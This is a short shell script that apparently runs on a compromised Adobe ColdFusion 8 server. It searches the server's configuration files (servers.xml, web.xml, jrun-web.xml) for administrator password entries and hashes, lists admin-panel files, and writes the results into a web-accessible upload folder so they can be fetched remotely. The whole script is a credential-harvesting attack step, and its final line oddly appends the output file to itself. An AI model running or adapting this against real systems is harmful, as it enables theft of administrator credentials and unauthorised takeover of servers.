#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/cfpw5_out.txt
echo "=== find cfusion config xml ===" > $O
find /opt/coldfusion8 -name 'cfusion*.xml' -o -name '*.xml' 2>/dev/null | grep -ivE 'cftags|charting/styles|flex|wizards|cfform' | head -30 >> $O
echo "=== grep admin password hash (hex strings) in configs ===" >> $O
grep -riE 'adminpassword|admin.*password|password' /opt/coldfusion8/runtime/lib/servers.xml /opt/coldfusion8/wwwroot/WEB-INF/jrun-web.xml /opt/coldfusion8/wwwroot/WEB-INF/web.xml 2>/dev/null | head -20 >> $O
echo "=== servers.xml admin ===" >> $O
grep -iE 'admin|password|user' /opt/coldfusion8/runtime/lib/servers.xml 2>/dev/null | head -20 >> $O
echo "=== CFIDE admin config files ===" >> $O
find /opt/coldfusion8/wwwroot/CFIDE/administrator -maxdepth 2 -type f \( -name '*.cfm' -o -name '*.xml' -o -name '*.properties' \) 2>/dev/null | head -30 >> $O
cat $O >> $O
